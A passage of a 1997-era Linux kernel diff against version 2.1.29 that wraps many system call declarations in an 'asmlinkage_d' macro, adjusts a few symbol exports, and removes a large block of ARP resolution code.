sysinfo *info)) { struct sysinfo val; int err; diff -u --recursive --new-file linux-2.1.29/kernel/itimer.c linux/kernel/itimer.c --- linux-2.1.29/kernel/itimer.c Sat May 10 18:17:21 1997 +++ linux/kernel/itimer.c Fri Feb 21 18:34:38 1997 @@ -80,7 +80,7 @@ return 0; } -asmlinkage int sys_getitimer(int which, struct itimerval *value) +asmlinkage_d(int sys_getitimer(int which, struct itimerval *value)) { int error = -EFAULT; struct itimerval get_buffer; @@ -155,7 +155,7 @@ return 0; } -asmlinkage int sys_setitimer(int which, struct itimerval *value, struct itimerval *ovalue) +asmlinkage_d(int sys_setitimer(int which, struct itimerval *value, struct itimerval *ovalue)) { int error; struct itimerval set_buffer, get_buffer; diff -u --recursive --new-file linux-2.1.29/kernel/ksyms.c linux/kernel/ksyms.c --- linux-2.1.29/kernel/ksyms.c Sat May 10 18:17:35 1997 +++ linux/kernel/ksyms.c Fri Feb 21 18:34:38 1997 @@ -133,7 +133,7 @@ /* filesystem internal functions */ EXPORT_SYMBOL(getname); EXPORT_SYMBOL(putname); -EXPORT_SYMBOL(__iget); +EXPORT_SYMBOL(iget); EXPORT_SYMBOL(iput); EXPORT_SYMBOL(namei); EXPORT_SYMBOL(lnamei); @@ -342,6 +342,8 @@ EXPORT_SYMBOL(__down); EXPORT_SYMBOL(__up); EXPORT_SYMBOL(securelevel); +EXPORT_SYMBOL(get_unnamed_dev); +EXPORT_SYMBOL(put_unnamed_dev); /* all busmice */ EXPORT_SYMBOL(add_mouse_randomness); diff -u --recursive --new-file linux-2.1.29/kernel/module.c linux/kernel/module.c --- linux-2.1.29/kernel/module.c Sat May 10 18:17:32 1997 +++ linux/kernel/module.c Fri Feb 21 18:34:38 1997 @@ -113,8 +113,7 @@ * Allocate space for a module. */ -asmlinkage unsigned long -sys_create_module(const char *name_user, size_t size) +asmlinkage_d(unsigned long sys_create_module(const char *name_user, size_t size)) { char *name; long namelen, error; @@ -166,8 +165,7 @@ * Initialize a module. */ -asmlinkage int -sys_init_module(const char *name_user, struct module *mod_user) +asmlinkage_d(int sys_init_module(const char *name_user, struct module *mod_user)) { struct module mod_tmp, *mod; char *name, *n_name; @@ -354,8 +352,7 @@ return error; } -asmlinkage int -sys_delete_module(const char *name_user) +asmlinkage_d(int sys_delete_module(const char *name_user)) { struct module *mod, *next; char *name; @@ -618,9 +615,7 @@ return error; } -asmlinkage int -sys_query_module(const char *name_user, int which, char *buf, size_t bufsize, - size_t *ret) +asmlinkage_d(int sys_query_module(const char *name_user, int which, char *buf, size_t bufsize, size_t *ret)) { struct module *mod; int err; @@ -683,8 +678,7 @@ * which does not arbitrarily limit the length of symbols. */ -asmlinkage int -sys_get_kernel_syms(struct kernel_sym *table) +asmlinkage_d(int sys_get_kernel_syms(struct kernel_sym *table)) { struct module *mod; int i; @@ -930,27 +924,22 @@ /* Dummy syscalls for people who don't want modules */ -asmlinkage unsigned long -sys_create_module(const char *name_user, size_t size) +asmlinkage_d(unsigned long sys_create_module(const char *name_user, size_t size)) { return -ENOSYS; } -asmlinkage int -sys_init_module(const char *name_user, struct module *mod_user) +asmlinkage_d(int sys_init_module(const char *name_user, struct module *mod_user)) { return -ENOSYS; } -asmlinkage int -sys_delete_module(const char *name_user) +asmlinkage_d(int sys_delete_module(const char *name_user)) { return -ENOSYS; } -asmlinkage int -sys_query_module(const char *name_user, int which, char *buf, size_t bufsize, - size_t *ret) +asmlinkage_d(int sys_query_module(const char *name_user, int which, char *buf, size_t bufsize, size_t *ret)) { /* Let the program know about the new interface. Not that it'll do them much good. */ @@ -960,8 +949,7 @@ return -ENOSYS; } -asmlinkage int -sys_get_kernel_syms(struct kernel_sym *table) +asmlinkage_d(int sys_get_kernel_syms(struct kernel_sym *table)) { return -ENOSYS; } diff -u --recursive --new-file linux-2.1.29/kernel/panic.c linux/kernel/panic.c --- linux-2.1.29/kernel/panic.c Sat May 10 18:16:49 1997 +++ linux/kernel/panic.c Fri Feb 21 18:34:38 1997 @@ -15,7 +15,7 @@ #include #include -asmlinkage void sys_sync(void); /* it's really int */ +asmlinkage_p(void sys_sync(void)); /* it's really int */ extern void hard_reset_now(void); extern void do_unblank_screen(void); extern int C_A_D; diff -u --recursive --new-file linux-2.1.29/kernel/printk.c linux/kernel/printk.c --- linux-2.1.29/kernel/printk.c Sat May 10 18:17:21 1997 +++ linux/kernel/printk.c Fri Feb 21 18:34:38 1997 @@ -61,7 +61,7 @@ * 7 -- Enable printk's to console * 8 -- Set level of messages printed to console */ -asmlinkage int sys_syslog(int type, char * buf, int len) +asmlinkage_d(int sys_syslog(int type, char * buf, int len)) { unsigned long i, j, count; int do_clear = 0; @@ -166,7 +166,7 @@ } -asmlinkage int printk(const char *fmt, ...) +asmlinkage_d(int printk(const char *fmt, ...)) { va_list args; int i; diff -u --recursive --new-file linux-2.1.29/kernel/sched.c linux/kernel/sched.c --- linux-2.1.29/kernel/sched.c Sat May 10 18:17:43 1997 +++ linux/kernel/sched.c Wed Mar 5 21:35:06 1997 @@ -303,7 +303,7 @@ * tasks can run. It can not be killed, and it cannot sleep. The 'state' * information in task[0] is never used. */ -asmlinkage void schedule(void) +asmlinkage_d(void schedule(void)) { int c; struct task_struct * p; @@ -425,7 +425,7 @@ * For backwards compatibility? This can be done in libc so Alpha * and all newer ports shouldn't need it. */ -asmlinkage int sys_pause(void) +asmlinkage_d(int sys_pause(void)) { lock_kernel(); current->state = TASK_INTERRUPTIBLE; @@ -546,7 +546,7 @@ * critical part is the inline stuff in * where we want to avoid any extra jumps and calls. */ -void __up(struct semaphore *sem) +asmlinkage_d(void __up(struct semaphore *sem)) { atomic_inc(&sem->waking); wake_up(&sem->wait); @@ -614,12 +614,12 @@ return ret; } -void __down(struct semaphore * sem) +asmlinkage_d(void __down(struct semaphore * sem)) { __do_down(sem,TASK_UNINTERRUPTIBLE); } -int __down_interruptible(struct semaphore * sem) +asmlinkage_d(int __down_interruptible(struct semaphore * sem)) { return __do_down(sem,TASK_INTERRUPTIBLE); } @@ -1253,6 +1253,7 @@ mark_bh(TIMER_BH); if (!user_mode(regs)) { lost_ticks_system++; +#if !defined(__i386__) if (prof_buffer && current->pid) { extern int _stext; unsigned long ip = instruction_pointer(regs); @@ -1261,6 +1262,7 @@ if (ip < prof_len) prof_buffer[ip]++; } +#endif } if (tq_timer) mark_bh(TQUEUE_BH); @@ -1272,7 +1274,7 @@ * For backwards compatibility? This can be done in libc so Alpha * and all newer ports shouldn't need it. */ -asmlinkage unsigned int sys_alarm(unsigned int seconds) +asmlinkage_d(unsigned int sys_alarm(unsigned int seconds)) { struct itimerval it_new, it_old; unsigned int oldalarm; @@ -1296,7 +1298,7 @@ * should be moved into arch/i386 instead? */ -asmlinkage int sys_getpid(void) +asmlinkage_d(int sys_getpid(void)) { /* This is SMP safe - current->pid doesnt change */ return current->pid; @@ -1325,7 +1327,7 @@ * a small window for a race, using the old pointer is * harmless for a while). */ -asmlinkage int sys_getppid(void) +asmlinkage_d(int sys_getppid(void)) { int pid; struct task_struct * me = current; @@ -1348,25 +1350,25 @@ return pid; } -asmlinkage int sys_getuid(void) +asmlinkage_d(int sys_getuid(void)) { /* Only we change this so SMP safe */ return current->uid; } -asmlinkage int sys_geteuid(void) +asmlinkage_d(int sys_geteuid(void)) { /* Only we change this so SMP safe */ return current->euid; } -asmlinkage int sys_getgid(void) +asmlinkage_d(int sys_getgid(void)) { /* Only we change this so SMP safe */ return current->gid; } -asmlinkage int sys_getegid(void) +asmlinkage_d(int sys_getegid(void)) { /* Only we change this so SMP safe */ return current->egid; @@ -1378,7 +1380,7 @@ * it for backward compatibility? */ -asmlinkage int sys_nice(int increment) +asmlinkage_d(int sys_nice(int increment)) { unsigned long newprio; int increase = 0; @@ -1493,8 +1495,7 @@ return 0; } -asmlinkage int sys_sched_setscheduler(pid_t pid, int policy, - struct sched_param *param) +asmlinkage_d(int sys_sched_setscheduler(pid_t pid, int policy, struct sched_param *param)) { int ret; @@ -1504,7 +1505,7 @@ return ret; } -asmlinkage int sys_sched_setparam(pid_t pid, struct sched_param *param) +asmlinkage_d(int sys_sched_setparam(pid_t pid, struct sched_param *param)) { int ret; @@ -1514,7 +1515,7 @@ return ret; } -asmlinkage int sys_sched_getscheduler(pid_t pid) +asmlinkage_d(int sys_sched_getscheduler(pid_t pid)) { struct task_struct *p; int ret = -EINVAL; @@ -1534,7 +1535,7 @@ return ret; } -asmlinkage int sys_sched_getparam(pid_t pid, struct sched_param *param) +asmlinkage_d(int sys_sched_getparam(pid_t pid, struct sched_param *param)) { struct task_struct *p; struct sched_param lp; @@ -1556,7 +1557,7 @@ return ret; } -asmlinkage int sys_sched_yield(void) +asmlinkage_d(int sys_sched_yield(void)) { lock_kernel(); cli(); @@ -1566,7 +1567,7 @@ return 0; } -asmlinkage int sys_sched_get_priority_max(int policy) +asmlinkage_d(int sys_sched_get_priority_max(int policy)) { int ret = -EINVAL; @@ -1584,7 +1585,7 @@ return ret; } -asmlinkage int sys_sched_get_priority_min(int policy) +asmlinkage_d(int sys_sched_get_priority_min(int policy)) { int ret = -EINVAL; @@ -1601,7 +1602,7 @@ return ret; } -asmlinkage int sys_sched_rr_get_interval(pid_t pid, struct timespec *interval) +asmlinkage_d(int sys_sched_rr_get_interval(pid_t pid, struct timespec *interval)) { struct timespec t; int ret; @@ -1639,7 +1640,7 @@ return; } -asmlinkage int sys_nanosleep(struct timespec *rqtp, struct timespec *rmtp) +asmlinkage_d(int sys_nanosleep(struct timespec *rqtp, struct timespec *rmtp)) { int error = -EFAULT; struct timespec t; diff -u --recursive --new-file linux-2.1.29/kernel/signal.c linux/kernel/signal.c --- linux-2.1.29/kernel/signal.c Sat May 10 18:17:38 1997 +++ linux/kernel/signal.c Wed Mar 5 21:29:53 1997 @@ -32,7 +32,7 @@ * particular thread.. (and that's good, because this is _heavily_ * used by various programs) */ -asmlinkage int sys_sigprocmask(int how, sigset_t *set, sigset_t *oset) +asmlinkage_d(int sys_sigprocmask(int how, sigset_t *set, sigset_t *oset)) { sigset_t old_set = current->blocked; @@ -67,7 +67,7 @@ /* * For backwards compatibility? Functionality superseded by sigprocmask. */ -asmlinkage int sys_sgetmask(void) +asmlinkage_d(int sys_sgetmask(void)) { int ret; @@ -76,7 +76,7 @@ return ret; } -asmlinkage int sys_ssetmask(int newmask) +asmlinkage_d(int sys_ssetmask(int newmask)) { int old; @@ -89,7 +89,7 @@ #endif -asmlinkage int sys_sigpending(sigset_t *set) +asmlinkage_d(int sys_sigpending(sigset_t *set)) { int ret; @@ -136,7 +136,7 @@ /* * For backwards compatibility? Functionality superseded by sigaction. */ -asmlinkage unsigned long sys_signal(int signum, __sighandler_t handler) +asmlinkage_d(unsigned long sys_signal(int signum, __sighandler_t handler)) { unsigned long err; struct sigaction tmp; @@ -166,8 +166,7 @@ #endif #ifndef __sparc__ -asmlinkage int sys_sigaction(int signum, const struct sigaction * action, - struct sigaction * oldaction) +asmlinkage_d(int sys_sigaction(int signum, const struct sigaction * action, struct sigaction * oldaction)) { struct sigaction new_sa, *p; int ret = -EINVAL; diff -u --recursive --new-file linux-2.1.29/kernel/softirq.c linux/kernel/softirq.c --- linux-2.1.29/kernel/softirq.c Sat May 10 18:17:38 1997 +++ linux/kernel/softirq.c Wed Mar 5 21:32:13 1997 @@ -72,7 +72,7 @@ * Get rid of the kernel lock here at the same time we * make interrupt handling sane. */ -asmlinkage void do_bottom_half(void) +asmlinkage_d(void do_bottom_half(void)) { lock_kernel(); atomic_inc(&intr_count); diff -u --recursive --new-file linux-2.1.29/kernel/sys.c linux/kernel/sys.c --- linux-2.1.29/kernel/sys.c Sat May 10 18:17:35 1997 +++ linux/kernel/sys.c Fri Feb 21 18:34:38 1997 @@ -46,7 +46,7 @@ extern void adjust_clock(void); -asmlinkage int sys_ni_syscall(void) +asmlinkage_d(int sys_ni_syscall(void)) { return -ENOSYS; } @@ -73,7 +73,7 @@ return 0; } -asmlinkage int sys_setpriority(int which, int who, int niceval) +asmlinkage_d(int sys_setpriority(int which, int who, int niceval)) { struct task_struct *p; int error = EINVAL; @@ -123,7 +123,7 @@ * not return the normal nice-value, but a value that has been * offset by 20 (ie it returns 0..40 instead of -20..20) */ -asmlinkage int sys_getpriority(int which, int who) +asmlinkage_d(int sys_getpriority(int which, int who)) { struct task_struct *p; long max_prio = -ESRCH; @@ -157,32 +157,32 @@ * directory. */ -asmlinkage int sys_profil(void) +asmlinkage_d(int sys_profil(void)) { return -ENOSYS; } -asmlinkage int sys_ftime(void) +asmlinkage_d(int sys_ftime(void)) { return -ENOSYS; } -asmlinkage int sys_break(void) +asmlinkage_d(int sys_break(void)) { return -ENOSYS; } -asmlinkage int sys_stty(void) +asmlinkage_d(int sys_stty(void)) { return -ENOSYS; } -asmlinkage int sys_gtty(void) +asmlinkage_d(int sys_gtty(void)) { return -ENOSYS; } -asmlinkage int sys_prof(void) +asmlinkage_d(int sys_prof(void)) { return -ENOSYS; } @@ -193,7 +193,7 @@ #ifdef __sparc__ extern void halt_now(void); #endif -extern asmlinkage int sys_kill(int, int); +asmlinkage_p(extern int sys_kill(int, int)); /* * Reboot system call: for obvious reasons only root may call it, @@ -203,7 +203,7 @@ * * reboot doesn't sync: do that yourself before calling this. */ -asmlinkage int sys_reboot(int magic, int magic_too, int flag) +asmlinkage_d(int sys_reboot(int magic, int magic_too, int flag)) { if (!suser()) return -EPERM; @@ -273,7 +273,7 @@ * 100% compatible with BSD. A program which uses just setgid() will be * 100% compatible with POSIX w/ Saved ID's. */ -asmlinkage int sys_setregid(gid_t rgid, gid_t egid) +asmlinkage_d(int sys_setregid(gid_t rgid, gid_t egid)) { int old_rgid = current->gid; int old_egid = current->egid; @@ -314,7 +314,7 @@ /* * setgid() is implemented like SysV w/ SAVED_IDS */ -asmlinkage int sys_setgid(gid_t gid) +asmlinkage_d(int sys_setgid(gid_t gid)) { int old_egid = current->egid; int err = -EPERM; @@ -378,7 +378,7 @@ return 0; } -asmlinkage int sys_acct(const char *name) +asmlinkage_d(int sys_acct(const char *name)) { struct inode *inode = (struct inode *)0; char *tmp; @@ -454,27 +454,27 @@ * directory. */ -asmlinkage int sys_phys(void) +asmlinkage_d(int sys_phys(void)) { return -ENOSYS; } -asmlinkage int sys_lock(void) +asmlinkage_d(int sys_lock(void)) { return -ENOSYS; } -asmlinkage int sys_mpx(void) +asmlinkage_d(int sys_mpx(void)) { return -ENOSYS; } -asmlinkage int sys_ulimit(void) +asmlinkage_d(int sys_ulimit(void)) { return -ENOSYS; } -asmlinkage int sys_old_syscall(void) +asmlinkage_d(int sys_old_syscall(void)) { return -ENOSYS; } @@ -496,7 +496,7 @@ * 100% compatible with BSD. A program which uses just setuid() will be * 100% compatible with POSIX w/ Saved ID's. */ -asmlinkage int sys_setreuid(uid_t ruid, uid_t euid) +asmlinkage_d(int sys_setreuid(uid_t ruid, uid_t euid)) { int old_ruid; int old_euid; @@ -547,7 +547,7 @@ * will allow a root program to temporarily drop privileges and be able to * regain them by swapping the real and effective uid. */ -asmlinkage int sys_setuid(uid_t uid) +asmlinkage_d(int sys_setuid(uid_t uid)) { int old_euid = current->euid; int retval = 0; @@ -573,7 +573,7 @@ * This function implementes a generic ability to update ruid, euid, * and suid. This allows you to implement the 4.4 compatible seteuid(). */ -asmlinkage int sys_setresuid(uid_t ruid, uid_t euid, uid_t suid) +asmlinkage_d(int sys_setresuid(uid_t ruid, uid_t euid, uid_t suid)) { uid_t old_ruid, old_euid, old_suid; int err = -EPERM; @@ -604,7 +604,7 @@ return err; } -asmlinkage int sys_getresuid(uid_t *ruid, uid_t *euid, uid_t *suid) +asmlinkage_d(int sys_getresuid(uid_t *ruid, uid_t *euid, uid_t *suid)) { int retval; @@ -623,7 +623,7 @@ * whatever uid it wants to). It normally shadows "euid", except when * explicitly set by setfsuid() or for access.. */ -asmlinkage int sys_setfsuid(uid_t uid) +asmlinkage_d(int sys_setfsuid(uid_t uid)) { int old_fsuid; @@ -641,7 +641,7 @@ /* * Samma p svenska.. */ -asmlinkage int sys_setfsgid(gid_t gid) +asmlinkage_d(int sys_setfsgid(gid_t gid)) { int old_fsgid; @@ -656,7 +656,7 @@ return old_fsgid; } -asmlinkage long sys_times(struct tms * tbuf) +asmlinkage_d(long sys_times(struct tms * tbuf)) { /* * In the SMP world we might just be unlucky and have one of @@ -688,7 +688,7 @@ * LBT 04.03.94 */ -asmlinkage int sys_setpgid(pid_t pid, pid_t pgid) +asmlinkage_d(int sys_setpgid(pid_t pid, pid_t pgid)) { struct task_struct * p; int err = -EINVAL; @@ -739,7 +739,7 @@ return err; } -asmlinkage int sys_getpgid(pid_t pid) +asmlinkage_d(int sys_getpgid(pid_t pid)) { struct task_struct * p; int ret; @@ -761,13 +761,13 @@ return ret; } -asmlinkage int sys_getpgrp(void) +asmlinkage_d(int sys_getpgrp(void)) { /* SMP - assuming writes are word atomic this is fine */ return current->pgrp; } -asmlinkage int sys_getsid(pid_t pid) +asmlinkage_d(int sys_getsid(pid_t pid)) { struct task_struct * p; int ret; @@ -791,7 +791,7 @@ return ret; } -asmlinkage int sys_setsid(void) +asmlinkage_d(int sys_setsid(void)) { struct task_struct * p; int err = -EPERM; @@ -815,7 +815,7 @@ /* * Supplementary group ID's */ -asmlinkage int sys_getgroups(int gidsetsize, gid_t *grouplist) +asmlinkage_d(int sys_getgroups(int gidsetsize, gid_t *grouplist)) { int i; @@ -841,7 +841,7 @@ * without another task interfering. */ -asmlinkage int sys_setgroups(int gidsetsize, gid_t *grouplist) +asmlinkage_d(int sys_setgroups(int gidsetsize, gid_t *grouplist)) { if (!suser()) return -EPERM; @@ -872,7 +872,7 @@ return 1; } -asmlinkage int sys_newuname(struct new_utsname * name) +asmlinkage_d(int sys_newuname(struct new_utsname * name)) { int err = -EFAULT; @@ -893,7 +893,7 @@ * Move these to arch dependent dir since they are for * backward compatibility only? */ -asmlinkage int sys_uname(struct old_utsname * name) +asmlinkage_d(int sys_uname(struct old_utsname * name)) { int error = -EFAULT; @@ -904,7 +904,7 @@ return error; } -asmlinkage int sys_olduname(struct oldold_utsname * name) +asmlinkage_d(int sys_olduname(struct oldold_utsname * name)) { int error = -EFAULT; @@ -938,7 +938,7 @@ #endif -asmlinkage int sys_sethostname(char *name, int len) +asmlinkage_d(int sys_sethostname(char *name, int len)) { int error = -EPERM; @@ -959,7 +959,7 @@ return error; } -asmlinkage int sys_gethostname(char *name, int len) +asmlinkage_d(int sys_gethostname(char *name, int len)) { int i, err = -EINVAL; @@ -979,7 +979,7 @@ * Only setdomainname; getdomainname can be implemented by calling * uname() */ -asmlinkage int sys_setdomainname(char *name, int len) +asmlinkage_d(int sys_setdomainname(char *name, int len)) { int error = -EPERM; @@ -999,7 +999,7 @@ return error; } -asmlinkage int sys_getrlimit(unsigned int resource, struct rlimit *rlim) +asmlinkage_d(int sys_getrlimit(unsigned int resource, struct rlimit *rlim)) { int error; @@ -1013,7 +1013,7 @@ return error; } -asmlinkage int sys_setrlimit(unsigned int resource, struct rlimit *rlim) +asmlinkage_d(int sys_setrlimit(unsigned int resource, struct rlimit *rlim)) { struct rlimit new_rlim, *old_rlim; int err = -EINVAL; @@ -1092,7 +1092,7 @@ return err; } -asmlinkage int sys_getrusage(int who, struct rusage *ru) +asmlinkage_d(int sys_getrusage(int who, struct rusage *ru)) { int err = -EINVAL; @@ -1105,7 +1105,7 @@ return err; } -asmlinkage int sys_umask(int mask) +asmlinkage_d(int sys_umask(int mask)) { /* The xchg() isn't SMP-safe on x86 right now.. */ mask = xchg(¤t->fs->umask, mask & S_IRWXUGO); diff -u --recursive --new-file linux-2.1.29/kernel/sysctl.c linux/kernel/sysctl.c --- linux-2.1.29/kernel/sysctl.c Sat May 10 18:17:47 1997 +++ linux/kernel/sysctl.c Sun Mar 23 13:13:25 1997 @@ -72,6 +72,7 @@ struct inode_operations proc_sys_inode_operations = { &proc_sys_file_operations, + generic_stat, /* stat */ NULL, /* create */ NULL, /* lookup */ NULL, /* link */ @@ -227,7 +228,7 @@ return -ENOTDIR; } -extern asmlinkage int sys_sysctl(struct __sysctl_args *args) +asmlinkage_d(extern int sys_sysctl(struct __sysctl_args *args)) { struct __sysctl_args tmp; int error; diff -u --recursive --new-file linux-2.1.29/kernel/time.c linux/kernel/time.c --- linux-2.1.29/kernel/time.c Sat May 10 18:17:35 1997 +++ linux/kernel/time.c Fri Feb 21 18:34:38 1997 @@ -62,7 +62,7 @@ * why not move it into the appropriate arch directory (for those * architectures that need it). */ -asmlinkage int sys_time(int * tloc) +asmlinkage_d(int sys_time(int * tloc)) { int i; @@ -83,7 +83,7 @@ * architectures that need it). */ -asmlinkage int sys_stime(int * tptr) +asmlinkage_d(int sys_stime(int * tptr)) { int value; @@ -109,7 +109,7 @@ #endif -asmlinkage int sys_gettimeofday(struct timeval *tv, struct timezone *tz) +asmlinkage_d(int sys_gettimeofday(struct timeval *tv, struct timezone *tz)) { int err = -EFAULT; @@ -163,7 +163,7 @@ * as soon as possible, so that the clock can be set right. Otherwise, * various programs will get confused when the clock gets warped. */ -asmlinkage int sys_settimeofday(struct timeval *tv, struct timezone *tz) +asmlinkage_d(int sys_settimeofday(struct timeval *tv, struct timezone *tz)) { static int firsttime = 1; struct timeval new_tv; @@ -217,7 +217,7 @@ /* adjtimex mainly allows reading (and writing, if superuser) of * kernel time-keeping variables. used by xntpd. */ -asmlinkage int sys_adjtimex(struct timex *txc_p) +asmlinkage_d(int sys_adjtimex(struct timex *txc_p)) { long ltemp, mtemp, save_adjust; int error = -EFAULT; diff -u --recursive --new-file linux-2.1.29/mm/filemap.c linux/mm/filemap.c --- linux-2.1.29/mm/filemap.c Sat May 10 18:17:22 1997 +++ linux/mm/filemap.c Fri Feb 21 18:34:38 1997 @@ -1220,7 +1220,7 @@ return 0; } -asmlinkage int sys_msync(unsigned long start, size_t len, int flags) +asmlinkage_d(int sys_msync(unsigned long start, size_t len, int flags)) { unsigned long end; struct vm_area_struct * vma; diff -u --recursive --new-file linux-2.1.29/mm/mlock.c linux/mm/mlock.c --- linux-2.1.29/mm/mlock.c Sat May 10 18:17:22 1997 +++ linux/mm/mlock.c Fri Feb 21 18:34:38 1997 @@ -185,7 +185,7 @@ return error; } -asmlinkage int sys_mlock(unsigned long start, size_t len) +asmlinkage_d(int sys_mlock(unsigned long start, size_t len)) { unsigned long locked; unsigned long lock_limit; @@ -216,7 +216,7 @@ return error; } -asmlinkage int sys_munlock(unsigned long start, size_t len) +asmlinkage_d(int sys_munlock(unsigned long start, size_t len)) { int ret; @@ -257,7 +257,7 @@ return error; } -asmlinkage int sys_mlockall(int flags) +asmlinkage_d(int sys_mlockall(int flags)) { unsigned long lock_limit; int ret = -EINVAL; @@ -284,7 +284,7 @@ return ret; } -asmlinkage int sys_munlockall(void) +asmlinkage_d(int sys_munlockall(void)) { int ret; diff -u --recursive --new-file linux-2.1.29/mm/mmap.c linux/mm/mmap.c --- linux-2.1.29/mm/mmap.c Sat May 10 18:17:38 1997 +++ linux/mm/mmap.c Wed Mar 5 21:12:44 1997 @@ -74,7 +74,7 @@ return freepages > pages; } -asmlinkage unsigned long sys_brk(unsigned long brk) +asmlinkage_d(unsigned long sys_brk(unsigned long brk)) { unsigned long rlim, retval; unsigned long newbrk, oldbrk; @@ -799,7 +799,7 @@ insert_vm_struct(current->mm, mpnt); } -asmlinkage int sys_munmap(unsigned long addr, size_t len) +asmlinkage_d(int sys_munmap(unsigned long addr, size_t len)) { int ret; diff -u --recursive --new-file linux-2.1.29/mm/mprotect.c linux/mm/mprotect.c --- linux-2.1.29/mm/mprotect.c Sat May 10 18:17:22 1997 +++ linux/mm/mprotect.c Fri Feb 21 18:34:39 1997 @@ -202,7 +202,7 @@ return 0; } -asmlinkage int sys_mprotect(unsigned long start, size_t len, unsigned long prot) +asmlinkage_d(int sys_mprotect(unsigned long start, size_t len, unsigned long prot)) { unsigned long nstart, end, tmp; struct vm_area_struct * vma, * next; diff -u --recursive --new-file linux-2.1.29/mm/mremap.c linux/mm/mremap.c --- linux-2.1.29/mm/mremap.c Sat May 10 18:17:22 1997 +++ linux/mm/mremap.c Fri Feb 21 18:34:39 1997 @@ -159,9 +159,9 @@ * Expand (or shrink) an existing mapping, potentially moving it at the * same time (controlled by the MREMAP_MAYMOVE flag and available VM space) */ -asmlinkage unsigned long sys_mremap(unsigned long addr, +asmlinkage_d(unsigned long sys_mremap(unsigned long addr, unsigned long old_len, unsigned long new_len, - unsigned long flags) + unsigned long flags)) { struct vm_area_struct *vma; unsigned long ret = -EINVAL; diff -u --recursive --new-file linux-2.1.29/mm/swapfile.c linux/mm/swapfile.c --- linux-2.1.29/mm/swapfile.c Sat May 10 18:17:29 1997 +++ linux/mm/swapfile.c Fri Feb 21 18:34:39 1997 @@ -320,7 +320,7 @@ return 0; } -asmlinkage int sys_swapoff(const char * specialfile) +asmlinkage_d(int sys_swapoff(const char * specialfile)) { struct swap_info_struct * p = NULL; struct inode * inode; @@ -445,7 +445,7 @@ * * The swapon system call */ -asmlinkage int sys_swapon(const char * specialfile, int swap_flags) +asmlinkage_d(int sys_swapon(const char * specialfile, int swap_flags)) { struct swap_info_struct * p; struct inode * swap_inode; diff -u --recursive --new-file linux-2.1.29/net/ipv4/arp.c linux/net/ipv4/arp.c --- linux-2.1.29/net/ipv4/arp.c Sat May 10 18:17:35 1997 +++ linux/net/ipv4/arp.c Fri Feb 7 18:12:00 1997 @@ -1005,1123 +1005,32 @@ return NULL; } -static int arp_set_predefined(int addr_hint, unsigned char * haddr, u32 paddr, struct device * dev) -{ - switch (addr_hint) - { - case IS_MYADDR: - printk(KERN_DEBUG "ARP: arp called for own IP address\n"); - memcpy(haddr, dev->dev_addr, dev->addr_len); - return 1; - case IS_MULTICAST: - if(dev->type==ARPHRD_ETHER || dev->type==ARPHRD_IEEE802 - || dev->type==ARPHRD_FDDI) - { - u32 taddr; - haddr[0]=0x01; - haddr[1]=0x00; - haddr[2]=0x5e; - taddr=ntohl(paddr); - haddr[5]=taddr&0xff; - taddr=taddr>>8; - haddr[4]=taddr&0xff; - taddr=taddr>>8; - haddr[3]=taddr&0x7f; - return 1; - } - /* - * If a device does not support multicast broadcast the stuff (eg AX.25 for now) - */ - - case IS_BROADCAST: - memcpy(haddr, dev->broadcast, dev->addr_len); - return 1; - } - return 0; -} - - -static void arp_start_resolution(struct arp_table *entry) -{ - struct device * dev = entry->u.dst.dev; - - del_timer(&entry->timer); - entry->timer.expires = jiffies + sysctl_arp_res_time; - entry->retries = sysctl_arp_max_tries; - add_timer(&entry->timer); -#ifdef CONFIG_ARPD - if (!arpd_not_running) - arpd_lookup(entry->ip, dev); - else -#endif - arp_send(ARPOP_REQUEST, ETH_P_ARP, entry->ip, dev, - dev->pa_addr, NULL, dev->dev_addr, NULL); -} - -/* - * Create a new unresolved entry. - */ - -struct arp_table * arp_new_entry(u32 paddr, struct device *dev, struct sk_buff *skb) -{ - struct arp_table *entry; - unsigned long hash = HASH(paddr); - - entry = arp_alloc(2); - - if (entry != NULL) - { - entry->ip = paddr; - entry->u.dst.dev = dev; - entry->hatype = dev->type; - - if (skb != NULL) - skb_queue_tail(&entry->skb, skb); - - atomic_inc(&arp_unres_size); - entry->u.next = arp_tables[hash]; - arp_tables[hash] = entry; - arp_start_resolution(entry); - dst_release(&entry->u.dst); - } - return entry; -} - - -/* - * Find an arp mapping in the cache. If not found, post a request. - */ - -int arp_find(unsigned char *haddr, struct sk_buff *skb) -{ - struct device *dev = skb->dev; - u32 paddr; - struct arp_table *entry; - unsigned long hash; - - if (!skb->dst) { - printk(KERN_DEBUG "arp_find called with dst==NULL\n"); - return 1; - } - - paddr = ((struct rtable*)skb->dst)->rt_gateway; - - if (arp_set_predefined(__ip_chk_addr(paddr), haddr, paddr, dev)) { - if (skb) - skb->arp = 1; - return 0; - } - - hash = HASH(paddr); - - start_bh_atomic(); - - /* - * Find an entry - */ - entry = arp_lookup(paddr, dev); - - if (entry != NULL) /* It exists */ - { - if (entry->flags & ATF_COM) - { - entry->u.dst.lastuse = jiffies; - memcpy(haddr, entry->ha, dev->addr_len); - if (skb) - skb->arp = 1; - end_bh_atomic(); - return 0; - } - - /* - * A request was already sent, but no reply yet. Thus - * queue the packet with the previous attempt - */ - - if (skb != NULL) - { - if (entry->last_updated) - { - if (entry->skb.qlen < ARP_MAX_UNRES_PACKETS) - skb_queue_tail(&entry->skb, skb); - else - kfree_skb(skb, FREE_WRITE); - } - /* - * If last_updated==0 host is dead, so - * drop skb's and set socket error. - */ - else - { - icmp_send(skb, ICMP_DEST_UNREACH, ICMP_HOST_UNREACH, 0); - kfree_skb(skb, FREE_WRITE); - } - } - end_bh_atomic(); - return 1; - } - - entry = arp_new_entry(paddr, dev, skb); - - if (skb != NULL && !entry) - kfree_skb(skb, FREE_WRITE); - - end_bh_atomic(); - return 1; -} - -int arp_find_1(unsigned char *haddr, struct dst_entry *dst, - struct dst_entry *neigh) -{ - struct rtable *rt = (struct rtable*)dst; - struct device *dev = dst->dev; - u32 paddr = rt->rt_gateway; - struct arp_table *entry; - unsigned long hash; - - if (!neigh) - { - if ((rt->rt_flags & RTF_MULTICAST) && - (dev->type==ARPHRD_ETHER || dev->type==ARPHRD_IEEE802)) - { - u32 taddr; - haddr[0]=0x01; - haddr[1]=0x00; - haddr[2]=0x5e; - taddr=ntohl(paddr); - haddr[5]=taddr&0xff; - taddr=taddr>>8; - haddr[4]=taddr&0xff; - taddr=taddr>>8; - haddr[3]=taddr&0x7f; - return 1; - } - if (rt->rt_flags & (RTF_BROADCAST|RTF_MULTICAST)) - { - memcpy(haddr, dev->broadcast, dev->addr_len); - return 1; - } - if (rt->rt_flags & RTF_LOCAL) - { - 